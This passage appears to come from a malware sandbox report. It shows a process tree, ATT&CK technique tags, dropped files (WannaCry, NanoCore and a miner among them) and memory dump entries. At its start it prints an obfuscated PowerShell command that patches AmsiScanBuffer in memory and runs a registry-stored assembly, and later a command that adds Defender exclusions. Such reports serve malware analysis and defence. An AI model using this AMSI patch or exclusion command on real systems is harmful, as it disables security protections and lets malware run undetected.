[Char](116)+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+'r'+'ot'+[Char](101)+'c'+'t'+'')));$SLorFdS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtZjUwrMYACcST,$dQTmuFqQofQVcrdgIIj).Invoke('a'+'m'+'s'+'i'+'.'+[Char](100)+''+'l'+''+[Char](108)+'');$XSfVqpjulHuPMsogg=$NWWHshKiJYXzLl.Invoke($Null,@([Object]$SLorFdS,[Object](''+[Char](65)+'msi'+'S'+''+[Char](99)+''+[Char](97)+'n'+'B'+'u'+[Char](102)+''+[Char](102)+''+'e'+'r')));$wYJcQBqXke=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FfyAMpKaVBYtOkqsa,$EbiAQAbnWrpNmAXCtWVePU).Invoke($XSfVqpjulHuPMsogg,[uint32]8,4,[ref]$wYJcQBqXke);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$XSfVqpjulHuPMsogg,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FfyAMpKaVBYtOkqsa,$EbiAQAbnWrpNmAXCtWVePU).Invoke($XSfVqpjulHuPMsogg,[uint32]8,0x20,[ref]$wYJcQBqXke);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+'i'+'a'+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+''+'t'+'a'+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "windowsϵͳÖ÷¶¯·ÀÓù"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "windowsϵͳÖ÷¶¯·ÀÓù"1⤵
-
C:\Windows\SysWOW64\windowsϵͳÖ÷¶¯·ÀÓù.exeC:\Windows\system32\windowsϵͳÖ÷¶¯·ÀÓù.exe "c:\windows\system32\240979156.jpg",MainInstall2⤵
-
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
-
C:\Windows\system32\a\Loader.exeC:\Windows\system32\a\Loader.exe1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exe"C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exe" /r1⤵
-
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exeC:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k "windows╧╡═│╓≈╢»╖└╙∙"1⤵
-
C:\Users\Admin\AppData\Roaming\44209dd5.exeC:\Users\Admin\AppData\Roaming\44209dd5.exe1⤵
-
C:\44209dd5\44209dd5.exeC:\44209dd5\44209dd5.exe1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004DC 0x00000000000004E81⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Installer Packages
1Modify Authentication Process
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Window
1Impair Defenses
2Disable or Modify System Firewall
1Indirect Command Execution
1Modify Authentication Process
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1System Binary Proxy Execution
1Msiexec
1Discovery
Network Service Discovery
2Peripheral Device Discovery
1Query Registry
2Remote System Discovery
1System Information Discovery
2System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
CSIcon.ico
Gui.exe
cagerrors.dat
log.txt
log.txt
log.txt
atl100.dll
msvcp100.dll
msvcr100.dll
product.ini
PPTV.MKV.ico
list_HD.png
list_livebtn_down.png
ad_close.bmp
pause_close.bmp
checkbox.bmp
checkbox_checked.bmp
checkbox_checked_disabled.bmp
checkbox_checked_down.bmp
checkbox_checked_hover.bmp
checkbox_disabled.bmp
checkbox_down.bmp
checkbox_hover.bmp
radio.png
radio_checked.png
radio_checked_disabled.png
radio_checked_down.png
radio_checked_hover.png
radio_disabled.png
radio_down.png
radio_hover.png
logo.jpg
ProgressTb_hover.png
scrollbar_pagedown.bmp
scrollbar_vthumbgripper.bmp
scrollbar_pagedown_hover.bmp
scrollbar_vthumbgripper_down.bmp
PPLive.exe
uninst.exe
ksapi.sys
kxecom.kid
Settings.json
Settings.json
Settings.json
windows_agentrto.ico
windows_alertmodeoffline.ico
windows_alertmodeonline.ico
windows_offline.ico
windows_ondemandmode.ico
windows_privacymode.ico
windows_stopped.ico
MonitorAlerts.xml
MonitorDefs.xml
AEMAgent.exe
manifest.exe
updater.exe
hg.dat
Config.ini
tipsdone.ini
Synaptics.exe
WindowsDataC.exe
dbazdk03.dat
isc2HvaHoXky
logs.dat
4DD39726D4B55AC3B4119B35A893323C_B52A817151EF1886E9E62A36CEBC7049
4DD39726D4B55AC3B4119B35A893323C_B52A817151EF1886E9E62A36CEBC7049
4DD39726D4B55AC3B4119B35A893323C_B52A817151EF1886E9E62A36CEBC7049
1ox4ria1.newcfg
tt2xdw3s.newcfg
user.config
LICENSE.txt
__init__.py
override.py
LICENSE
LICENSE.BSD
LICENSE
LICENSE
__init__.py
__main__.py
__pip-runner__.py
__init__.py
build_env.py
cache.py
__init__.py
autocompletion.py
base_command.py
cmdoptions.py
command_context.py
index_command.py
main.py
main_parser.py
parser.py
progress_bars.py
req_command.py
spinners.py
status_codes.py
__init__.py
cache.py
check.py
completion.py
configuration.py
debug.py
download.py
freeze.py
hash.py
help.py
index.py
inspect.py
install.py
list.py
lock.py
search.py
show.py
uninstall.py
wheel.py
configuration.py
__init__.py
base.py
installed.py
sdist.py
wheel.py
exceptions.py
__init__.py
collector.py
package_finder.py
sources.py
__init__.py
_distutils.py
_sysconfig.py
base.py
main.py
__init__.py
_json.py
base.py
__init__.py
_compat.py
_dists.py
_envs.py
pkg_resources.py
__init__.py
candidate.py
direct_url.py
format_control.py
index.py
installation_report.py
link.py
release_control.py
scheme.py
search_scope.py
selection_prefs.py
target_python.py
wheel.py
__init__.py
auth.py
cache.py
download.py
lazy_wheel.py
session.py
utils.py
xmlrpc.py
build_tracker.py
metadata.py
metadata_editable.py
wheel.py
wheel_editable.py
check.py
freeze.py
__init__.py
wheel.py
prepare.py
pyproject.py
__init__.py
constructors.py
pep723.py
req_dependency_group.py
req_file.py
req_install.py
req_set.py
req_uninstall.py
base.py
resolver.py
base.py
candidates.py
factory.py
found_candidates.py
provider.py
reporter.py
requirements.py
resolver.py
self_outdated_check.py
_jaraco_text.py
_log.py
appdirs.py
compat.py
compatibility_tags.py
datetime.py
deprecation.py
direct_url_helpers.py
egg_link.py
entrypoints.py
filesystem.py
filetypes.py
glibc.py
hashes.py
logging.py
misc.py
packaging.py
pylock.py
retry.py
subprocess.py
temp_dir.py
unpacking.py
urls.py
virtualenv.py
wheel.py
__init__.py
bazaar.py
git.py
mercurial.py
subversion.py
versioncontrol.py
wheel_builder.py
__init__.py
__init__.py
_cmd.py
adapter.py
cache.py
__init__.py
file_cache.py
redis_cache.py
controller.py
filewrapper.py
heuristics.py
serialize.py
wrapper.py
__init__.py
__main__.py
core.py
__init__.py
__main__.py
_implementation.py
_lint_dependency_groups.py
_pip_wrapper.py
_toml_compat.py
__init__.py
compat.py
resources.py
scripts.py
util.py
__init__.py
__main__.py
distro.py
__init__.py
codec.py
compat.py
core.py
idnadata.py
intranges.py
package_data.py
uts46data.py
__init__.py
exceptions.py
ext.py
fallback.py
specifiers.py
version.py
__init__.py
__init__.py
__main__.py
version.py
__init__.py
__main__.py
console.py
filter.py
__init__.py
formatter.py
__init__.py
_mapping.py
lexer.py
__init__.py
_mapping.py
python.py
modeline.py
plugin.py
regexopt.py
scanner.py
sphinxext.py
style.py
__init__.py
_mapping.py
token.py
unistring.py
util.py
__init__.py
_impl.py
__init__.py
_in_process.py
LICENSE
__init__.py
__version__.py
_internal_utils.py
adapters.py
api.py
auth.py
certs.py
compat.py
cookies.py
exceptions.py
help.py
hooks.py
models.py
packages.py
sessions.py
status_codes.py
structures.py
utils.py
__init__.py
providers.py
reporters.py
__init__.py
abstract.py
criterion.py
exceptions.py
resolution.py
structs.py
__init__.py
__main__.py
_cell_widths.py
_emoji_codes.py
_emoji_replace.py
_export_format.py
_extension.py
_fileno.py
_inspect.py
_log_render.py
_loop.py
_null_file.py
_palettes.py
_pick.py
_ratio.py
_spinners.py
_stack.py
_timer.py
_win32_console.py
_windows.py
_windows_renderer.py
_wrap.py
abc.py
align.py
ansi.py
bar.py
box.py
cells.py
color.py
color_triplet.py
columns.py
console.py
constrain.py
containers.py
control.py
default_styles.py
diagnose.py
emoji.py
errors.py
file_proxy.py
filesize.py
highlighter.py
json.py
jupyter.py
layout.py
live.py
live_render.py
logging.py
markup.py
measure.py
padding.py
pager.py
palette.py
panel.py
pretty.py
progress.py
progress_bar.py
prompt.py
protocol.py
region.py
repr.py
rule.py
scope.py
screen.py
segment.py
spinner.py
status.py
style.py
styled.py
syntax.py
table.py
terminal_theme.py
text.py
theme.py
themes.py
traceback.py
tree.py
__init__.py
_parser.py
_re.py
py.typed
__init__.py
_writer.py
__init__.py
_api.py
_macos.py
_openssl.py
_ssl_constants.py
_windows.py
__init__.py
_collections.py
_version.py
connection.py
connectionpool.py
_appengine_environ.py
bindings.py
low_level.py
appengine.py
ntlmpool.py
pyopenssl.py
securetransport.py
socks.py
exceptions.py
fields.py
filepost.py
makefile.py
weakref_finalize.py
six.py
poolmanager.py
request.py
response.py
__init__.py
connection.py
proxy.py
queue.py
request.py
response.py
retry.py
ssl_.py
ssl_match_hostname.py
ssltransport.py
timeout.py
url.py
wait.py
__init__.py
_core_metadata.py
_discovery.py
__init__.py
_log.py
_macos_compat.py
_modified.py
_msvccompiler.py
archive_util.py
ccompiler.py
cmd.py
__init__.py
_framework_compat.py
bdist.py
bdist_dumb.py
bdist_rpm.py
build.py
build_clib.py
build_ext.py
build_py.py
build_scripts.py
check.py
clean.py
config.py
install.py
install_data.py
install_egg_info.py
install_headers.py
install_lib.py
install_scripts.py
sdist.py
__init__.py
numpy.py
py39.py
base.py
cygwin.py
errors.py
msvc.py
test_base.py
test_cygwin.py
test_mingw.py
test_msvc.py
test_unix.py
unix.py
zos.py
core.py
cygwinccompiler.py
debug.py
dep_util.py
dir_util.py
dist.py
errors.py
extension.py
fancy_getopt.py
file_util.py
filelist.py
log.py
spawn.py
sysconfig.py
__init__.py
py39.py
support.py
test_archive_util.py
test_bdist.py
test_bdist_dumb.py
test_bdist_rpm.py
test_build.py
test_build_clib.py
test_build_ext.py
test_build_py.py
test_build_scripts.py
test_check.py
test_clean.py
test_cmd.py
test_config_cmd.py
test_core.py
test_dir_util.py
test_dist.py
test_extension.py
test_file_util.py
test_filelist.py
test_install.py
test_install_data.py
test_install_headers.py
test_install_lib.py
test_install_scripts.py
test_log.py
test_modified.py
test_sdist.py
test_spawn.py
test_sysconfig.py
test_text_file.py
test_util.py
test_version.py
unix_compat.py
text_file.py
unixccompiler.py
util.py
version.py
versionpredicate.py
zosccompiler.py
_entry_points.py
_imp.py
_importlib.py
_itertools.py
_normalization.py
_path.py
_reqs.py
_scripts.py
_shutil.py
_static.py
__init__.py
autoasync.py
autocommand.py
automain.py
autoparse.py
errors.py
LICENSE
__init__.py
__init__.py
__main__.py
py38.py
WHEEL
__init__.py
_adapters.py
_collections.py
_compat.py
_functools.py
_itertools.py
_meta.py
_text.py
_typing.py
py311.py
py39.py
diagnose.py
__init__.py
__init__.py
__init__.py
layouts.py
show-newlines.py
strip-prefix.py
to-dvorak.py
to-qwerty.py
INSTALLER
WHEEL
__init__.py
more.py
recipes.py
__init__.py
_elffile.py
_manylinux.py
_musllinux.py
_parser.py
_structures.py
_tokenizer.py
__init__.py
_spdx.py
markers.py
metadata.py
pylock.py
requirements.py
specifiers.py
tags.py
utils.py
version.py
__init__.py
__main__.py
android.py
api.py
macos.py
unix.py
version.py
windows.py
__init__.py
_parser.py
_re.py
_types.py
__init__.py
__main__.py
_bdist_wheel.py
__init__.py
convert.py
pack.py
tags.py
unpack.py
_metadata.py
_setuptools_logging.py
bdist_wheel.py
macosx_libfile.py
metadata.py
wheelfile.py
__init__.py
_functools.py
overlay.py
py310.py
py313.py
glob.py
archive_util.py
build_meta.py
__init__.py
_requirestxt.py
alias.py
bdist_egg.py
bdist_rpm.py
bdist_wheel.py
build.py
build_clib.py
build_ext.py
build_py.py
develop.py
dist_info.py
easy_install.py
editable_wheel.py
egg_info.py
install.py
install_egg_info.py
install_lib.py
install_scripts.py
rotate.py
saveopts.py
sdist.py
setopt.py
test.py
py310.py
py311.py
py312.py
py39.py
__init__.py
_apply_pyprojecttoml.py
__init__.py
error_reporting.py
extra_validations.py
fastjsonschema_exceptions.py
fastjsonschema_validations.py
formats.py
expand.py
pyprojecttoml.py
setupcfg.py
depends.py
discovery.py
dist.py
errors.py
extension.py
glob.py
installer.py
launch.py
logging.py
modified.py
monkey.py
msvc.py
namespaces.py
__init__.py
py39.py
__init__.py
preload.py
test_apply_pyprojecttoml.py
test_expand.py
test_pyprojecttoml.py
test_pyprojecttoml_dynamic_deps.py
test_setupcfg.py
contexts.py
environment.py
fixtures.py
helpers.py
test_pbr.py
test_pip_install_sdist.py
mod_with_constant.py
namespaces.py
script-with-bom.py
test_archive_util.py
test_bdist_deprecations.py
test_bdist_egg.py
test_bdist_wheel.py
test_build.py
test_build_clib.py
test_build_ext.py
test_build_meta.py
test_build_py.py
test_config_discovery.py
test_core_metadata.py
test_depends.py
test_develop.py
test_dist.py
test_dist_info.py
test_distutils_adoption.py
test_editable_install.py
test_egg_info.py
test_extern.py
test_find_packages.py
test_find_py_modules.py
test_glob.py
test_install_scripts.py
test_logging.py
test_manifest.py
test_namespaces.py
test_scripts.py
test_sdist.py
test_setopt.py
test_setuptools.py
test_shutil_wrapper.py
test_unicode_utils.py
test_virtualenv.py
test_warnings.py
test_wheel.py
test_windows_wrappers.py
text.py
textwrap.py
unicode_utils.py
version.py
warnings.py
wheel.py
windows_support.py
pip3.11.exe
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_elementtree.pyd
_hashlib.pyd
_lzma.pyd
_msi.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_uuid.pyd
_zoneinfo.pyd
libcrypto-3.dll
libssl-3.dll
pyexpat.pyd
python.cat
python.exe
python3.dll
python311._pth
python311.dll
python311.zip
pythonw.exe
select.pyd
sqlite3.dll
unicodedata.pyd
vcruntime140.dll
vcruntime140_1.dll
winsound.pyd
settings.dat
settings.dat
the-real-index
the-real-index~RFe5b62dd.TMP
Edge Profile.ico
6df2951e-cf04-454d-a3ef-8a483c092c3c.tmp
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
Local State
Local State
Local State
Local State
Local State
Local State
2515faac-7785-42e7-89ab-4b779738dd9c.tmp
AILog.txt
AILog.txt
AILog.txt
AILog.txt
AILog.txt
365VPN7.exe
Install.ini
MSI67F7.tmp
CustomAction.config
Microsoft.Deployment.WindowsInstaller.dll
ScreenConnect.Core.dll
ScreenConnect.InstallerActions.dll
ScreenConnect.Windows.dll
ScreenConnect.Core.dll
ScreenConnect.InstallerActions.dll
ScreenConnect.Windows.dll
Microsoft.Deployment.Compression.Cab.dll
Microsoft.Deployment.Compression.dll
Microsoft.Deployment.WindowsInstaller.Package.dll
ScreenConnect.Core.dll
ScreenConnect.InstallerActions.dll
ScreenConnect.Windows.dll
PReflector64.exe
fxeiwl.msc
rheib.pdf
uxusoaaldn.das
flag_aq.png
flag_ax.png
flag_cx.png
flag_eh.png
flag_gp.png
flag_iq.png
flag_no.png
flag_nz.png
plugins.png
RunIt.exe
GetAutofill.txt
libcrypto-3.dll
INSTALLER
LICENSE
LICENSE.APACHE
LICENSE.BSD
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp313-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.dll
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_l3wrnrnh.q4v.ps1
._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe
WxWorkMultiOpen.exe
hs.dat
namuvpnxp.exe
u.wry
ahC2p0sVNkxGSe7a.exe
aepk.vbe
settings.dat
settings.dat
MANIFEST-000001
CURRENT
Local State
Local State
Local State~RFe5bbc09.TMP
installconfig.ini
InstallHelper.exe
kavsetup.log
ksapi.dll
semPacketDllLog.log
AsynDownload.dll
BindDLL.dll
CommonFuncDll.dll
FindProcDLL.dll
GetCommentsInfoDll.dll
GetVersion.dll
InetLoad.dll
KillProcDLL.dll
PPBindDAC.dll
PPInstallLog.dll
System.dll
bind_en-us.ini
cknsis.dll
pnsis.dll
time.dll
nsExec.dll
SimpleFC.dll
SimpleSC.dll
System.dll
nsProcess.dll
nsSCM.dll
nsisXML.dll
inetc.dll
ioSpecial.ini
nsExec.dll
nsExec.dll
FindProcDLL.dll
xhue.vbe
setuptools-82.0.1-py3-none-any.whl
wheel-0.46.3-py3-none-any.whl
setuptools-82.0.1-py3-none-any.whl.metadata
pip-26.0.1-py3-none-any.whl.metadata
packaging-26.0-py3-none-any.whl.metadata
wheel-0.46.3-py3-none-any.whl.metadata
tftp.exe
tmp4rswb6dj
cacert.pem
pip.zip
ISRT.dll
_isres_0x0409.dll
Tempmuckhhmoqgmj.db
Tempmuckhxdsrcyh.db
Tempmuckixnolvqi.db
Tempmuckkihnhdne.db
Tempmuckogpfzwse.db
Tempmuckspftnvom.db
a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9a
a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9a.body
winManager.exe
MemberName.exe
PPTV视频.library-ms
PPTV视频.library-ms
PPTV视频.library-ms
PPTV视频.library-ms
PPTV视频.library-ms
44209dd5.exe
Axam.exe
he.exe
subprocess.exe
subprocess.exe
subprocess.exe
IMG001.exe
xpti.dat
Client.exe
config.ini
cqsj.exe
dts.exe
lander.ini
namu832.exe
{34184A33-0407-212E-3320-09040709E2C2}.exe
365vpnxp.exe
xixixi.exe
KdzEregli.exe
241012078.jpg
LOIC.exe
NAMUVPN32.exe
NanoCore_Portable.exe
Ref62535.msi
ShellHost.exe
TempSpoofer.exe
Ytkjmt.exe
build1.exe
pieletJF.exe
raw_subprocess_debug.exe
cache.txt
cache.txt
cache.txt
cache.txt
cache.txt
dberr.txt
b0nxz2w0.newcfg
cgqqhqdj.newcfg
nuriho2c.newcfg
sbr00rao.newcfg
tihdydx2.newcfg
user.config
user.config
wrz5z1oa.newcfg
Worm.bat
msupd.exe
memory/228-614-0x0000000002AA0000-0x0000000002B7A000-memory.dmp
memory/228-2229-0x0000000002AA0000-0x0000000002B7A000-memory.dmp
memory/412-403-0x0000000002B50000-0x0000000002B5C000-memory.dmp
memory/412-282-0x0000000000A50000-0x0000000000A6A000-memory.dmp
memory/412-404-0x000000001B450000-0x000000001B462000-memory.dmp
memory/460-263-0x0000000000AE0000-0x0000000000AF4000-memory.dmp
memory/656-751-0x000001AEA1A60000-0x000001AEA1A6C000-memory.dmp
memory/656-363-0x000001AEA1A60000-0x000001AEA1A6C000-memory.dmp
memory/756-4896-0x00007FF7AD000000-0x00007FF7AD01E000-memory.dmp
memory/756-2711-0x00007FF7AD000000-0x00007FF7AD01E000-memory.dmp
memory/916-616-0x0000000002AA0000-0x0000000002B7A000-memory.dmp
memory/916-2230-0x0000000000090000-0x00000000004DB000-memory.dmp
memory/916-615-0x0000000000090000-0x00000000004DB000-memory.dmp
memory/1820-624-0x0000029BD16B0000-0x0000029BD16C2000-memory.dmp
memory/1820-623-0x0000029BD15B0000-0x0000029BD15BC000-memory.dmp
memory/1856-639-0x00007FFCFE660000-0x00007FFCFE869000-memory.dmp
memory/1996-342-0x0000000070180000-0x000000007022A000-memory.dmp
memory/2064-341-0x0000000002E20000-0x0000000002E2C000-memory.dmp
memory/2064-238-0x0000000000320000-0x0000000000334000-memory.dmp
memory/2172-279-0x0000000000A30000-0x0000000000A78000-memory.dmp
memory/2172-368-0x0000000001290000-0x000000000129C000-memory.dmp
memory/2212-405-0x0000000000AE0000-0x0000000000BC9000-memory.dmp
memory/2212-300-0x0000000000AE0000-0x0000000000BC9000-memory.dmp
memory/2212-406-0x0000000002970000-0x0000000002A4A000-memory.dmp
memory/2588-364-0x0000000000CA0000-0x0000000000CAC000-memory.dmp
memory/2780-139-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2780-138-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2780-184-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2780-172-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2780-180-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2780-181-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2780-179-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2780-182-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2780-140-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2780-183-0x000001DE8FEF0000-0x000001DE8FEF1000-memory.dmp
memory/2800-4205-0x00007FF6FAD20000-0x00007FF6FBCDD000-memory.dmp
memory/2800-5094-0x00007FF6FAD20000-0x00007FF6FBCDD000-memory.dmp
memory/2868-2808-0x00007FF7A0D70000-0x00007FF7A0D8E000-memory.dmp
memory/2868-5001-0x00007FF7A0D70000-0x00007FF7A0D8E000-memory.dmp
memory/3040-779-0x0000000002500000-0x00000000025DA000-memory.dmp
memory/3192-1763-0x0000023977B40000-0x0000023977B4C000-memory.dmp
memory/3192-770-0x0000023977B40000-0x0000023977B4C000-memory.dmp
memory/3228-365-0x000001CAB6BB0000-0x000001CAB6BBC000-memory.dmp
memory/3228-366-0x000001CACF1B0000-0x000001CACF1C2000-memory.dmp
memory/3260-4223-0x0000000000050000-0x00000000000A0000-memory.dmp
memory/3260-4775-0x0000000006A60000-0x0000000006AC6000-memory.dmp
memory/3560-5466-0x0000000000400000-0x0000000000487000-memory.dmp
memory/3680-850-0x0000000003050000-0x000000000312A000-memory.dmp
memory/3680-626-0x0000000003050000-0x000000000312A000-memory.dmp
memory/3776-255-0x0000000005080000-0x0000000005112000-memory.dmp
memory/3776-243-0x0000000000310000-0x0000000000322000-memory.dmp
memory/3776-250-0x0000000005440000-0x00000000059E6000-memory.dmp
memory/3776-244-0x0000000004CF0000-0x0000000004D8C000-memory.dmp
memory/3776-2076-0x0000000005070000-0x000000000507A000-memory.dmp
memory/3836-334-0x0000000070180000-0x000000007022A000-memory.dmp
memory/4452-262-0x0000000000990000-0x00000000009A4000-memory.dmp
memory/4452-367-0x0000000002F80000-0x0000000002F8C000-memory.dmp
memory/4700-408-0x0000000002FE0000-0x00000000030BA000-memory.dmp
memory/4820-5227-0x00000000003F0000-0x0000000001EEA000-memory.dmp
memory/4916-606-0x00000184CD850000-0x00000184CD85C000-memory.dmp
memory/5052-299-0x000002ADD4670000-0x000002ADD4692000-memory.dmp
memory/5052-361-0x000002ADBBF00000-0x000002ADBBF0C000-memory.dmp
memory/5052-362-0x000002ADD44F0000-0x000002ADD4502000-memory.dmp
memory/5136-851-0x00000000031E0000-0x00000000032BA000-memory.dmp
memory/5136-2377-0x00000000031E0000-0x00000000032BA000-memory.dmp
memory/5164-753-0x00007FF68D990000-0x00007FF68D99D000-memory.dmp
memory/5244-2096-0x0000000002610000-0x00000000026EA000-memory.dmp
memory/5244-865-0x0000000000400000-0x000000000041E000-memory.dmp
memory/5496-2378-0x0000000000400000-0x0000000000552000-memory.dmp
memory/5496-866-0x0000000000400000-0x0000000000552000-memory.dmp
memory/5760-2581-0x0000000000400000-0x0000000000BF3000-memory.dmp
memory/5908-2460-0x000002EDDA640000-0x000002EDDA65A000-memory.dmp
memory/6152-750-0x0000000140000000-0x0000000140105000-memory.dmp
memory/6152-798-0x0000000140000000-0x0000000140105000-memory.dmp
memory/6152-749-0x00000270D2840000-0x00000270D2841000-memory.dmp
memory/6204-5188-0x0000000000400000-0x00000000011E6000-memory.dmp
memory/6204-5178-0x0000000000400000-0x00000000012A0000-memory.dmp
memory/6360-5195-0x00000000067F0000-0x0000000006846000-memory.dmp
memory/6360-5185-0x0000000007070000-0x00000000072CA000-memory.dmp
memory/6360-5194-0x0000000006770000-0x00000000067E4000-memory.dmp
memory/6360-2602-0x00000000009D0000-0x0000000000BE2000-memory.dmp
memory/6360-5073-0x00000000060D0000-0x0000000006427000-memory.dmp
memory/6360-2603-0x0000000005470000-0x0000000005520000-memory.dmp
memory/6392-1208-0x00000174A8450000-0x00000174A845C000-memory.dmp
memory/6420-5465-0x0000000000400000-0x0000000000487000-memory.dmp
memory/6580-2103-0x0000000006DF0000-0x0000000006DFF000-memory.dmp
memory/6580-2220-0x0000000007DD0000-0x0000000007DE2000-memory.dmp
memory/6580-1510-0x0000000006DF0000-0x0000000006DFE000-memory.dmp
memory/6580-2147-0x0000000007DC0000-0x0000000007DD2000-memory.dmp
memory/6620-2390-0x000001C06D2E0000-0x000001C06D2EA000-memory.dmp
memory/6620-2314-0x000001C06D410000-0x000001C06D4C3000-memory.dmp
memory/6620-2263-0x000001C06D2C0000-0x000001C06D2DC000-memory.dmp
memory/6620-3969-0x000001C06D540000-0x000001C06D546000-memory.dmp
memory/6620-3277-0x000001C06D570000-0x000001C06D58A000-memory.dmp
memory/6620-3892-0x000001C06D530000-0x000001C06D538000-memory.dmp
memory/6620-4074-0x000001C06D590000-0x000001C06D59A000-memory.dmp
memory/6620-2586-0x000001C06D550000-0x000001C06D56C000-memory.dmp
memory/6620-2940-0x000001C06D2F0000-0x000001C06D2FA000-memory.dmp
memory/6660-2334-0x0000000002D30000-0x0000000002D43000-memory.dmp
